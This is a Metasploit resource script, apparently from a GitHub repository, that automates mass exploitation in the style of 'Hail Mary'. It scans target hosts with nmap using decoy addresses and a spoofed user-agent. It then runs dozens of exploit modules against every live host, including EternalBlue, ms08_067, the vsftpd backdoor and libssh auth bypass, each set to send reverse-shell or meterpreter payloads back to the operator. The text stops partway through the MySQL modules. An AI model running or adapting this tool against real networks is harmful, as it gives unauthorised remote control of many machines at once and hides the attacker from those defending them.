-
Notifications
You must be signed in to change notification settings - Fork 40
/
Copy pathmass_exploiter.rc
1127 lines (1075 loc) · 57.1 KB
/
mass_exploiter.rc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
##
# Script: mass_exploiter.rc
# Author: r00t-3xp10it <pedroubuntu10[at]gmail.com>
# Descri: armitage Hail Mary (based) resource script
# GitHub: https://github.com/r00t-3xp10it/resource_files
# Nº MAX of Modules to Load: [46] exploits and [11] scanners
# ---
# [OPTIONS]
# setg SET_DECOY true => Set the 2º decoy ip address manualy
# setg SAVE_DB true => Save workspace redteam into database.xml
# setg MAX_PORTS true => Scan MAX number of ports or regular ports only?
# setg LHOST 192.168.1.71 => Set the Local ip address to use for payload delivery/handler
# setg RHOSTS 117.2.40.217 95.38.18.209 47.226.43.68 => Set target(s) (rhosts) for db_nmap scans and metasploit exploit modules
# setg IMPORT_DB /root/resource_files/bin/database_huge.xml => Import database.xml (rhosts) file to current workspace
# ---
# [SYNTAX EXAMPLES]
# root@kali: service postgresql start
# msfconsole -q -x 'setg IMPORT_DB database_huge.xml;setg LHOST 192.168.1.71;resource mass_exploiter.rc'
# msfconsole -q -x 'setg SET_DECOY true;setg RHOSTS 192.168.1.254;setg LHOST 192.168.1.71;resource mass_exploiter.rc'
# msfconsole -q -x 'setg MAX_PORTS true;setg RHOSTS 192.168.1.254;setg LHOST 192.168.1.71;resource mass_exploiter.rc'
# msfconsole -q -x 'setg MAX_PORTS true;setg SET_DECOY true;setg RHOSTS 192.168.1.254;setg LHOST 192.168.1.71;resource mass_exploiter.rc'
##
<ruby>
run_single("workspace -a redteam")
help = %Q|
🦟__________
_______🦟________________________ ___(_) _ /______🦟
__ __ __ \\ __ \\_ ___/ __ / / / /_ /_ __/ __ \\
🦟_ / / / / / /_/ /(__ )/ /_/ // /_/ /_ / / /_ / /_/ /
/_/ /_/ /_/\\____//____/ \\__, / \\__,_/ /_/ \\__/ \\____/
🦟 /_/ 🦟
Script: mass_exploiter.rc
Author: r00t-3xp10it <pedroubuntu10[at]gmail.com>
Descri: armitage Hail Mary (based) resource script
GitHub: https://github.com/r00t-3xp10it/resource_files
|
print_line(help)
Rex::sleep(1.5)
## Make sure we are connected to db
unless framework.db.active
File.delete("ip_range.txt") if File.exist?("ip_range.txt")
print_error("[ERROR] Database not connected to postgresql.")
Rex::sleep(2.0)
err = %Q|
Remark
------
This resource script requires the msf database connected to postgresql.
Connect MSFDB To Postgresql
---------------------------
[execute] service postgresql start
[execute] msfconsole -q -x 'resource mass_exploiter.rc'
|
print_line(err)
print_error("please wait, cleaning recent configurations.")
run_single("unsetg all")
run_single("exit -y")
run_single("back")
return nil
else
print_good("Database connected to postgresql.")
Rex::sleep(0.5)
local = Dir.pwd
work_name = framework.db.workspace.name
print_status("Working in workspace: *#{work_name}")
Rex::sleep(1.0)
end
## exploit suggester (dont exploit) cve:2019-12477
# Exploit Ranks: (great|excellent)
if (framework.datastore['SUGGEST'] == "true")
print_good("Suggest exploits to (ServiceName|OSflavor)")
Rex::sleep(1.0)
## Grab User Inputs
print "[?] Input service name (smb): "
serv_name = gets.chomp
print_warning("Leave next field 'blank' to search ALL flavors")
print "[?] Input OS flavor (blank|windows|linux|unix|apple): "
rhost_flavor = gets.chomp
print_good("search #{serv_name} target:#{rhost_flavor} type:exploit rank:great rank:excellent")
Rex::sleep(0.5)
run_single("search #{serv_name} target:#{rhost_flavor} type:exploit rank:great rank:excellent")
Rex::sleep(1.0)
run_single("unsetg all")
run_single("workspace -d redteam")
run_single("back")
File.delete("ip_range.txt") if File.exist?("ip_range.txt")
return nil
end
## Set the 2º decoy ip address manualy ?
if (framework.datastore['SET_DECOY'] == "true")
print_status("Manualy set the 2º decoy ip addr")
print "[?] Input 2º decoy ip address: "
decoy_two = gets.chomp
print_status("Checking if decoy ip addr its alive.")
ping_check = `ping -c 2 #{decoy_two}`
## Make sure user input decoy its alive
if ping_check =~ /100% packet loss/i
print_error("[ERROR] Decoy: #{decoy_two} its NOT alive")
print_warning("Defaulting to: www.apple.org (65.49.82.3)")
decoy_two = "65.49.82.3" # www.apple.org (default 2º decoy)
Rex::sleep(2.0)
else
## User input addr its alive (it will be used as decoy)
print_good("Decoy report that its alive (ping scan).")
Rex::sleep(1.5)
end
run_single("whois #{decoy_two}|head -n 24|tail -n 10")
print_line("")
Rex::sleep(2.0)
else
## Mosquito default 2º decoy ip addr
decoy_two = "65.49.82.3" # www.apple.org (default decoy)
end
## Sellect the type of msfdb import method (rhosts or import_db)
if (framework.datastore['RHOSTS'] and framework.datastore['IMPORT_DB'])
print_error("[ERROR] <RHOSTS> and <IMPORT_DB> Global Variables set simultaneously")
err = %Q|
RHOSTS : #{framework.datastore['RHOSTS']}
IMPORT_DB : #{framework.datastore['IMPORT_DB']}
[ABORTING]: <RHOSTS> and <IMPORT_DB> Global Variables can NOT be used simultaneously.
|
print_line(err)
print_warning("Cleaning recent configurations.")
Rex::sleep(1.0)
run_single("unsetg all")
run_single("workspace -d redteam")
File.delete("ip_range.txt") if File.exist?("ip_range.txt")
run_single("back")
return nil
elsif (framework.datastore['RHOSTS'])
run_single("setg RHOSTS #{framework.datastore['RHOSTS']}")
elsif (framework.datastore['IMPORT_DB'])
run_single("db_import #{framework.datastore['IMPORT_DB']}")
else
# Error none required option set (mass_exploiter.rc)
print_error("[ERROR] Required option(s) not set ..")
print_warning("Loading mass_exploiter help ..")
err = %Q|
🦟 armitage Hail Mary (based) resource script 🦟
------------------------------------------------
mass_exploiter.rc resource script allow us to scan user inputs (rhosts/lhosts)
or import an database.xml file to msfdb and auto-run multiple exploit modules
againts all alive db hosts based on their port number(s) or service name(s).
'This module exploits ports: 21:22:23:80:110:139:445:1433:3306:3389:8080:55553'
'And Loads [46] exploits and [11] auxiliarys scanners in MAX_PORTS scan mode'
Required Options
----------------
LHOST => This global variable (local host) its required for payload/handler
RHOSTS => Set target(s) (rhosts) for db_nmap scans and metasploit exploit modules
IMPORT_DB => Global variable to import RHOSTS contained inside a database.xml file
[REMARK]: "<RHOSTS> and <IMPORT_DB> global variables can NOT be used simultaneously"
[execute] setg LHOST 192.168.1.71
[execute] setg RHOSTS 117.2.40.217 45.32.87.101
[execute] setg IMPORT_DB /root/resource_files/bin/database_huge.xml
Advanced Options
----------------
SUGGEST => List exploit modules based on service names ?
SAVE_DB => Save module workspace redteam into database.xml ?
MAX_PORTS => Scan MAX number of ports or regular ports only ?
SET_DECOY => Set the 2º decoy ip address (public ip) manually ?
[REMARK]: "<SUGGEST> option does not require (rhosts:lhost:import_db) options set"
[execute] setg SAVE_DB true
[execute] setg SUGGEST true
[execute] setg MAX_PORTS true
[execute] setg SET_DECOY true
Execute Script
--------------
[execute] resource mass_exploiter.rc
|
print_line(err)
print_warning("Cleaning recent configurations.")
Rex::sleep(2.0)
run_single("unsetg all")
run_single("workspace -d redteam")
File.delete("ip_range.txt") if File.exist?("ip_range.txt")
run_single("back")
return nil
end
## Make sure we have the LHOST option set
if (framework.datastore['LHOST'] == nil or framework.datastore['LHOST'] == '')
print_error("[ERROR] <LHOST> option NOT set.")
print_warning("Loading mass_exploiter help ..")
Rex::sleep(2.0)
err = %Q|
Required Options
----------------
This resource script requires LHOST option set to be abble
to send a payload to target hosts and spawn a session back.
Set Your Local Host (LHOST)
---------------------------
[execute] setg LHOST 192.168.1.71
Set Your Targets (RHOSTS)
---------.....-----------
[execute] setg RHOSTS 117.2.40.217 45.32.87.101
[execute] setg IMPORT_DB /root/resource_files/bin/database_huge.xml
[WARNING] "RHOSTS and IMPORT_DB global variables can not be used simultaneously"
Execute script
--------------
[execute] resource mass_exploiter.rc
|
print_line(err)
print_warning("Cleaning recent configurations.")
Rex::sleep(1.0)
run_single("unsetg all")
run_single("workspace -d redteam")
File.delete("ip_range.txt") if File.exist?("ip_range.txt")
run_single("back")
return nil
else
local_ip = "#{framework.datastore['LHOST']}"
end
## Config nmap/metasploit scans/decoys/limmits
if (framework.datastore['MAX_PORTS'] == "true")
#ports_number = "8080" # < -- single port scanning option (manual)
ports_number = "21,22,23,80,110,139,445,1433,3306,3389,8080,55553"
print_good("Nmap: Scanning MAX ports: #{ports_number}")
decoys_number = "#{decoy_two}"
nse_timming = "-T5"
ex_count = "46"
au_count = "11"
else
# Default scanned ports
ports_number = "21,22,23,80,110,445,1433,3306"
print_good("Nmap: Scanning Regular ports: #{ports_number}")
decoys_number = "172.217.17.4,#{decoy_two}"
nse_timming = "-T4"
ex_count = "32"
au_count = "11"
end
Rex::sleep(1.5)
## db_nmap RHOSTS or IMPORT_DB scan settings
# HINT: nmap will use a fake user-agent string (Macintosh:Intel) while scanning.
# HINT: nmap will use www.google.com (default) and www.apple.org (default or manualy set decoy)
if (framework.datastore['IMPORT_DB'])
xhost = framework.db.hosts.map(&:address).join(' ')
run_single("db_nmap -sS -v -Pn -n #{nse_timming} -O -p #{ports_number} --open --script=banner.nse,http-headers.nse,ssh2-enum-algos.nse,smb-os-discovery.nse,smb-vuln-ms17-010.nse,mysql-enum.nse,http-slowloris-check.nse --script-args http.useragent=\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5\" -D #{decoys_number} #{xhost}")
elsif (framework.datastore['RHOSTS'])
run_single("db_nmap -sS -v -Pn -n #{nse_timming} -O -p #{ports_number} --open --script=banner.nse,http-headers.nse,ssh2-enum-algos.nse,smb-os-discovery.nse,smb-vuln-ms17-010.nse,mysql-enum.nse,http-slowloris-check.nse --script-args http.useragent=\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5\" -D #{decoys_number} #{framework.datastore['RHOSTS']}")
end
## Store msfconsole activity (log)
run_single("spool #{local}/logs/mass_exploiter.log") if File.directory?("#{local}/logs")
print_line("")
run_single("services")
## rhosts geolocation (geoip-bin)
if (File.exist?("/usr/bin/geoiplookup"))
print_line("Geo-Location")
print_line("------------")
## Mapping database hosts (loop)
framework.db.hosts.map(&:address).each do |sHost|
geo_location = `geoiplookup #{sHost}|cut -d ':' -f2|tr -d '\n'`
spl_range = sHost.split('.')
## Make sure we are NOT geolocating Internal ip(s)
if (spl_range[0] == "192" and spl_range[1] == "168")
print_line("#{sHost} - Not available (Internal IP Address)")
else
print_line("#{sHost} - #{geo_location}")
end
end
end
print_line("")
Rex::sleep(2.0)
## Read the database (metasploit)
print_good("Sellecting target hosts from msf database.")
xhost = framework.db.hosts.map(&:address).join(' ')
xport = framework.db.services.map(&:port).join(' ')
proto = framework.db.services.map(&:proto).join(' ')
run_single("setg RHOSTS #{xhost}")
Rex::sleep(2.0)
## Make sure that exists hosts/ports (open) in database
if xhost.nil? or xhost == '' or xhost == ' '
File.delete("ip_range.txt") if File.exist?("ip_range.txt")
print_error("[ERROR] db_nmap scan did not find any alive connections.")
print_warning("Cleaning recent configurations.")
Rex::sleep(1.0)
run_single("unsetg all")
run_single("workspace -d redteam")
run_single("back")
return nil
elsif xport.nil? or xport == '' or xport == ' '
File.delete("ip_range.txt") if File.exist?("ip_range.txt")
print_error("[ERROR] db_nmap did not find any #{ports_number} open ports.")
print_warning("please wait, cleaning recent configurations.")
Rex::sleep(1.0)
run_single("unsetg all")
run_single("workspace -d redteam")
run_single("back")
return nil
end
print_good("Modules Loaded: [#{ex_count}] exploits [#{au_count}] scanners")
Rex::sleep(1.5)
## Run exploit modules based on port nº or service name
if xport =~ /21/ or proto =~ /ftp/i
print_warning("Remote Target port: 21 ftp found")
print_good("Sellected: [7] modules for execution")
Rex::sleep(2.5)
print_line("MODULE => auxiliary/scanner/ftp/ftp_version")
run_single("use auxiliary/scanner/ftp/ftp_version")
run_single("set THREADS 16")
print_line("")
run_single("services -c name -S ftp -R")
run_single("exploit")
print_line("MODULE => exploit/multi/ftp/pureftpd_bash_env_exec")
Rex::sleep(0.5)
run_single("use exploit/multi/ftp/pureftpd_bash_env_exec")
run_single("set PAYLOAD generic/shell_reverse_tcp")
run_single("set LHOST #{local_ip}")
run_single("set VERBOSE true")
print_line("")
run_single("services -c name -S ftp -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => exploit/unix/ftp/proftpd_modcopy_exec")
Rex::sleep(0.5)
run_single("use exploit/unix/ftp/proftpd_modcopy_exec")
run_single("set UserAgent Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5")
run_single("set PAYLOAD cmd/unix/reverse_perl")
run_single("set LHOST #{local_ip}")
run_single("set VERBOSE true")
print_line("")
run_single("services -c name -S ftp -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => exploit/unix/ftp/vsftpd_234_backdoor")
Rex::sleep(0.5)
run_single("use exploit/unix/ftp/vsftpd_234_backdoor")
run_single("set VERBOSE true")
print_line("")
run_single("services -c name -S ftp -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => exploit/linux/ftp/proftp_telnet_iac") # new BETA
Rex::sleep(0.5)
run_single("use exploit/linux/ftp/proftp_telnet_iac")
run_single("set PAYLOAD linux/x86/meterpreter/reverse_tcp)")
run_single("set LHOST #{local_ip}")
run_single("set VERBOSE true")
print_line("")
run_single("services -c name -S ftp -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => exploit/windows/ftp/ms09_053_ftpd_nlst")
Rex::sleep(0.5)
run_single("use exploit/windows/ftp/ms09_053_ftpd_nlst")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set StageEncoder x86/shikata_ga_nai")
run_single("set EnableStageEncoding true")
run_single("set LHOST #{local_ip}")
run_single("set FTPTimeout 10")
run_single("set VERBOSE true")
print_line("")
run_single("services -c name -S ftp -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => exploit/windows/ftp/freefloatftp_wbem")
Rex::sleep(0.5)
run_single("use exploit/windows/ftp/freefloatftp_wbem")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set LHOST #{local_ip}")
run_single("set VERBOSE true")
print_line("")
run_single("services -c name -S ftp -R")
run_single("exploit")
run_single("jobs -K")
end
if xport =~ /22/ or proto =~ /ssh/i
print_warning("Remote Target port: 22 ssh found")
print_good("Sellected: [7] modules for execution")
Rex::sleep(2.5)
print_line("MODULE => auxiliary/scanner/ssh/ssh_version")
run_single("use auxiliary/scanner/ssh/ssh_version")
run_single("set THREADS 16")
print_line("")
run_single("services -c name -S ssh -R")
run_single("exploit")
print_line("MODULE => scanner/ssh/eaton_xpert_backdoor")
Rex::sleep(0.5)
run_single("use scanner/ssh/eaton_xpert_backdoor")
run_single("set PAYLOAD generic/shell_reverse_tcp")
run_single("set VERBOSE true")
print_line("")
run_single("services -c name -S ssh -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => auxiliary/scanner/ssh/libssh_auth_bypass")
Rex::sleep(0.5)
run_single("use auxiliary/scanner/ssh/libssh_auth_bypass")
run_single("set SPAWN_PTY true")
run_single("set VERBOSE true")
run_single("set THREADS 35")
print_line("")
run_single("services -c name -S ssh -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => exploit/windows/ssh/freesshd_authbypass")
Rex::sleep(0.5)
run_single("use exploit/windows/ssh/freesshd_authbypass")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set LHOST #{local_ip}")
run_single("set VERBOSE true")
print_line("")
run_single("services -c name -S ssh -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => exploit/windows/ssh/freeftpd_key_exchange") # new ALPHA
Rex::sleep(0.5)
run_single("use exploit/windows/ssh/freeftpd_key_exchange")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set LHOST #{local_ip}")
run_single("set VERBOSE true")
print_line("")
run_single("services -c name -S ssh -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => exploit/windows/ssh/sysax_ssh_username")
Rex::sleep(0.5)
run_single("use exploit/windows/ssh/sysax_ssh_username")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set LHOST #{local_ip}")
run_single("set VERBOSE true")
print_line("")
run_single("services -c name -S ssh -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => exploit/apple_ios/ssh/cydia_default_ssh")
Rex::sleep(0.5)
run_single("use exploit/apple_ios/ssh/cydia_default_ssh")
run_single("set VERBOSE true")
run_single("set THREADS 35")
print_line("")
run_single("services -c name -S ssh -R")
run_single("exploit")
run_single("jobs -K")
end
if xport =~ /23/ or proto =~ /telnet/i
print_warning("Remote Target port: 23 telnet found")
print_good("Sellected: [4] modules for execution")
Rex::sleep(2.5)
print_line("MODULE => auxiliary/scanner/telnet/telnet_version")
run_single("use auxiliary/scanner/telnet/telnet_version")
run_single("set THREADS 26")
print_line("")
run_single("services -c name -S telnet -R")
run_single("exploit")
print_line("MODULE => unix/misc/polycom_hdx_traceroute_exec")
Rex::sleep(0.5)
run_single("use unix/misc/polycom_hdx_traceroute_exec")
run_single("set LHOST #{local_ip}")
run_single("set VERBOSE true")
print_line("")
run_single("services -c name -S telnet -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => exploit/linux/telnet/netgear_telnetenable")
Rex::sleep(0.5)
run_single("use exploit/linux/telnet/netgear_telnetenable")
run_single("set VERBOSE true")
print_line("")
run_single("services -c name -S telnet -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => exploit/windows/telnet/gamsoft_telsrv_username")
Rex::sleep(0.5)
run_single("use exploit/windows/telnet/gamsoft_telsrv_username")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set StageEncoder x86/shikata_ga_nai")
run_single("set EnableStageEncoding true")
run_single("set LHOST #{local_ip}")
run_single("set VERBOSE true")
print_line("")
run_single("services -c name -S telnet -R")
run_single("exploit")
run_single("jobs -K")
end
if xport =~ /110/ or proto =~ /pop3/i
print_warning("Remote Target port: 110 pop3 found")
print_good("Sellected: [3] modules for execution")
Rex::sleep(2.5)
print_line("MODULE => auxiliary/scanner/pop3/pop3_version")
run_single("use auxiliary/scanner/pop3/pop3_version")
run_single("set THREADS 16")
print_line("")
run_single("services -c name -S pop3 -R")
run_single("exploit")
print_line("MODULE => exploit/linux/pop3/cyrus_pop3d_popsubfolders")
Rex::sleep(0.5)
run_single("use exploit/linux/pop3/cyrus_pop3d_popsubfolders")
run_single("set PAYLOAD generic/shell_reverse_tcp")
run_single("set LHOST #{local_ip}")
run_single("set VERBOSE true")
print_line("")
run_single("services -c name -S pop3 -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => exploit/windows/pop3/seattlelab_pass")
Rex::sleep(0.5)
run_single("use exploit/windows/pop3/seattlelab_pass")
run_single("set LHOST #{local_ip}")
run_single("set VERBOSE true")
print_line("")
run_single("services -c name -S pop3 -R")
run_single("exploit")
run_single("jobs -K")
end
if xport =~ /139/ or proto =~ /netbios-ssn/i
print_warning("Remote Target port: 139 netbios-ssn found")
print_good("Sellected: [3] modules for execution")
Rex::sleep(2.5)
print_line("MODULE => exploit/multi/samba/usermap_script")
Rex::sleep(0.5)
run_single("use exploit/multi/samba/usermap_script")
run_single("set PAYLOAD cmd/unix/reverse")
run_single("set LHOST #{local_ip}")
run_single("set VERBOSE true")
print_line("")
run_single("services -c port -p 139 -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => exploit/multi/ids/snort_dce_rpc") # new BETA
Rex::sleep(0.5)
run_single("use exploit/multi/ids/snort_dce_rpc")
run_single("set PAYLOAD generic/shell_reverse_tcp")
run_single("set LHOST #{local_ip}")
run_single("set StagerRetryCount 5")
run_single("set VERBOSE true")
print_line("")
run_single("services -c port -p 139 -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => exploit/windows/smb/ms08_067_netapi")
Rex::sleep(0.5)
run_single("use exploit/windows/smb/ms08_067_netapi")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set LHOST #{local_ip}")
run_single("set SMBDirect false")
run_single("set VERBOSE true")
print_line("")
run_single("services -c port -p 139 -R")
run_single("exploit")
run_single("jobs -K")
end
if xport =~ /445/ or proto =~ /(smb|microsoft-ds|netbios-ssn)/i
print_warning("Remote Target port: 445 smb found")
print_good("Sellected: [9] modules for execution")
Rex::sleep(2.5)
print_line("MODULE => auxiliary/scanner/smb/smb_version")
run_single("use auxiliary/scanner/smb/smb_version")
run_single("set THREADS 16")
print_line("")
run_single("services -c port -p 445 -R")
run_single("exploit")
print_line("MODULE => auxiliary/scanner/smb/smb_ms17_010")
Rex::sleep(0.5)
run_single("use auxiliary/scanner/smb/smb_ms17_010")
run_single("set LHOST #{local_ip}")
run_single("set THREADS 20")
print_line("")
run_single("services -c port -p 445 -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => exploit/windows/smb/ms06_066_nwapi")
Rex::sleep(0.5)
run_single("use exploit/windows/smb/ms06_066_nwapi")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set LHOST #{local_ip}")
run_single("set VERBOSE true")
print_line("")
run_single("services -c port -p 445 -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => exploit/windows/smb/webexec")
Rex::sleep(0.5)
run_single("use exploit/windows/smb/webexec")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set LHOST #{local_ip}")
run_single("set VERBOSE true")
print_line("")
run_single("services -c port -p 445 -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => exploit/windows/smb/ms08_067_netapi")
Rex::sleep(0.5)
run_single("use exploit/windows/smb/ms08_067_netapi")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set LHOST #{local_ip}")
run_single("set THREADS 20")
print_line("")
run_single("services -c port -p 445 -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => exploit/windows/smb/ms17_010_psexec")
Rex::sleep(0.5)
run_single("use exploit/windows/smb/ms17_010_psexec")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set LHOST #{local_ip}")
run_single("set THREADS 20")
print_line("")
run_single("services -c port -p 445 -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => exploit/windows/smb/ms17_010_eternalblue")
Rex::sleep(0.5)
run_single("use exploit/windows/smb/ms17_010_eternalblue")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set PROCESSNAME lsass.exe")
run_single("set LHOST #{local_ip}")
run_single("set VERBOSE true")
print_line("")
run_single("services -c port -p 445 -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => exploit/windows/smb/ms09_050_smb2_negotiate_func_index")
Rex::sleep(0.5)
run_single("use exploit/windows/smb/ms09_050_smb2_negotiate_func_index")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set StageEncoder x86/shikata_ga_nai")
run_single("set EnableStageEncoding true")
run_single("set LHOST #{local_ip}")
run_single("set VERBOSE true")
run_single("set WAIT 20")
print_line("")
run_single("services -c port -p 445 -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => exploit/windows/smb/ms10_061_spoolss") # new BETA
Rex::sleep(0.5)
run_single("use exploit/windows/smb/ms10_061_spoolss")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set StageEncoder x86/shikata_ga_nai")
run_single("set EnableStageEncoding true")
run_single("set LHOST #{local_ip}")
run_single("set VERBOSE true")
print_line("")
run_single("services -c port -p 445 -R")
run_single("exploit")
run_single("jobs -K")
end
if xport =~ /1433/ or proto =~ /mssql/i
print_warning("Remote Target port 1433 mssql found")
print_good("Sellected: [3] modules for execution")
Rex::sleep(2.5)
print_line("MODULE => auxiliary/scanner/mssql/mssql_ping")
run_single("use auxiliary/scanner/mssql/mssql_ping")
run_single("set THREADS 16")
print_line("")
run_single("services -c port -p 1433 -R")
run_single("exploit")
print_line("MODULE => exploit/windows/mssql/mssql_clr_payload")
Rex::sleep(0.5)
run_single("use exploit/windows/mssql/mssql_clr_payload")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set VERBOSE true")
print_line("")
run_single("services -c port -p 1433 -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => exploit/windows/mssql/mssql_payload")
Rex::sleep(0.5)
run_single("use exploit/windows/mssql/mssql_payload")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set VERBOSE true")
print_line("")
run_single("services -c port -p 1433 -R")
run_single("exploit")
run_single("jobs -K")
end
if xport =~ /3306/ or proto =~ /mysql/i
print_warning("Remote Target port 3306 mysql found.")
print_good("Sellected: [4] modules for execution")
Rex::sleep(2.5)
print_line("MODULE => auxiliary/scanner/mysql/mysql_version")
run_single("use auxiliary/scanner/mysql/mysql_version")
run_single("set THREADS 16")
print_line("")
run_single("services -c name -S mysql -R")
run_single("exploit")
print_line("MODULE => exploit/multi/mysql/mysql_udf_payload")
Rex::sleep(0.5)
run_single("use exploit/multi/mysql/mysql_udf_payload")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set LHOST #{local_ip}")
run_single("set VERBOSE true")
print_line("")
run_single("services -c name -S mysql -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => exploit/windows/mysql/mysql_yassl_hello")
Rex::sleep(0.5)
run_single("use exploit/windows/mysql/mysql_yassl_hello")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set LHOST #{local_ip}")
run_single("set VERBOSE true")
print_line("")
run_single("services -c name -S mysql -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => exploit/windows/mysql/scrutinizer_upload_exec")
Rex::sleep(0.5)
run_single("use exploit/windows/mysql/scrutinizer_upload_exec")
